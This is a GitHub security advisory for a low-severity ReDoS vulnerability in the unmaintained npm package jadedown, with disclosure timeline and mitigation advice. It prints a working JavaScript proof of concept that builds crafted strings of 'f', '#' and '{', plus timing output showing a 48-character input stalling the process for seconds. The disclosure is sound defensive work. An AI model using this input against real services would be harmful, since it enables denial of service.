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GHSA-6354-6mhv-mvv5

GitHub Security Advisory

Regular Expression Denial of Service in jadedown

✓ GitHub Reviewed LOW Has CVE

Advisory Details

The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

### Proof of concept
```js
var jadedown = require('jadedown');

var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}

return result;
}

for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = genstr(i, 'f') + genstr(i, '#') + '{';
console.log("LENGTH: " + str.length);
var start = process.hrtime();
jadedown(str)

var end = process.hrtime(start);
console.log(end);
}

```

Results demonstrating blocking for 5 seconds using only 48 characters.

```
$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]
```

# Timeline
- October 24, 2015 - Vulnerability Identified
- October 24, 2015 - Maintainers Notified
- October 25, 2015 - Response from Maintainers with intent to fix
- January 5, 2016 - Advisory Published
- January 11, 2016 - CVE Requested

## Recommendation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

Affected Packages

npm jadedown
Affected versions: 0 (last affected: 0.0.3)

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Key Information

GHSA ID
GHSA-6354-6mhv-mvv5
Published
February 18, 2019 11:38 PM
Last Modified
September 11, 2023 10:25 PM
CVSS Score
2.5 /10
Primary Ecosystem
npm
Primary Package
jadedown
GitHub Reviewed
✓ Yes

Dataset

Last updated: July 4, 2025 6:27 AM

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